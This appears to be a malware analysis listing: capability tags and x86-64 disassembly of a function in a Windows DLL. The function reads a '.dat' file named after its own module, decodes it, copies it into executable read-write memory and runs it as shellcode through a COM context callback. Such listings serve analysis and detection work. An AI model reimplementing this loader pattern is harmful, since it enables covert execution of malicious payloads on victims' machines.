Function at 0x1800013b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
lea rbp, [rsp - 0x280]
sub rsp, 0x380
mov eax, dword [0x1800113e0]
test al, 1
jne 0x1800010ea
or eax, 1
lea rcx, str.kernel32.dll
mov dword [0x1800113e0], eax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x1800113d8], rax
jmp 0x1800010f1
mov rax, qword [0x1800113d8]
test rax, rax
jne 0x180001102
or eax, 0xffffffff
add rsp, 0x380
pop rbp
ret
mov qword [rsp + 0x398], rbx
mov qword [rsp + 0x378], rdi
lea rcx, [rsp + 0x52]
mov qword [rsp + 0x370], r12
xor r12d, r12d
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x50], r12w
call fcn.180003c40
mov rcx, qword [0x1800113d0]
lea rdx, [rsp + 0x50]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, str..dat
lea ecx, [rax - 4]
mov word [rsp + rcx*2 + 0x50], r12w
lea ecx, [rax - 3]
mov word [rsp + rcx*2 + 0x50], r12w
lea ecx, [rax - 2]
dec eax
mov word [rsp + rcx*2 + 0x50], r12w
lea rcx, [rsp + 0x50]
mov word [rsp + rax*2 + 0x50], r12w
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp + 0x161]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x160], r12b
call fcn.180003c40
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea r8, [rsp + 0x50]
mov r9d, 0x104
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x160]
lea r8, [rsp + 0x50]
mov r9d, 0x104
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rdx, [0x18000cbf0]
lea rcx, [rbp + 0x160]
call fcn.18000159c
mov rbx, rax
test rax, rax
je 0x18000138a
lea r8d, [r12 + 2]
xor edx, edx
mov rcx, rax
call fcn.180001b6c
mov rcx, rbx
call fcn.180001a60
movsxd rdi, eax
test eax, eax
je 0x18000138a
lea r9d, [r12 + 4]
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
mov qword [rsp + 0x3a0], rsi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x18000135f
lea rdx, [0x18000cbf0]
lea rcx, [rbp + 0x160]
call fcn.18000159c
test rax, rax
je 0x18000128e
mov rdx, rax
mov rcx, rsi
call fcn.180001000
mov r9d, 4
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18000135f
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.180006f90
mov r11d, dword [rbx]
cmp r11d, 0xa
jb 0x18000135f
mov r9d, 0x40
mov r8d, 0x3000
mov edx, r11d
xor ecx, ecx
mov esi, r11d
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x18000135f
lea rdx, [rbx + 4]
mov r8d, esi
mov rcx, rax
call fcn.180006f90
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x40], 0x1c6
mov dword [rsp + 0x48], 0xc0
mov dword [rsp + 0x4c], 0x46000000
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rdx, [rbp + 0x290]
lea rcx, [rsp + 0x40]
mov qword [rbp + 0x290], r12
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov rcx, qword [rbp + 0x290]
mov rax, qword [rcx]
lea r9, [rsp + 0x40]
mov r8, rbx
mov rdx, rdi
mov dword [rsp + 0x20], r12d
call qword [rax + 0x40]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rsi, qword [rsp + 0x3a0]
xor eax, eax
mov rdi, qword [rsp + 0x378]
mov rbx, qword [rsp + 0x398]
mov r12, qword [rsp + 0x370]
add rsp, 0x380
pop rbp
ret
xor eax, eax
jmp 0x180001369
jmp 0x1800010b0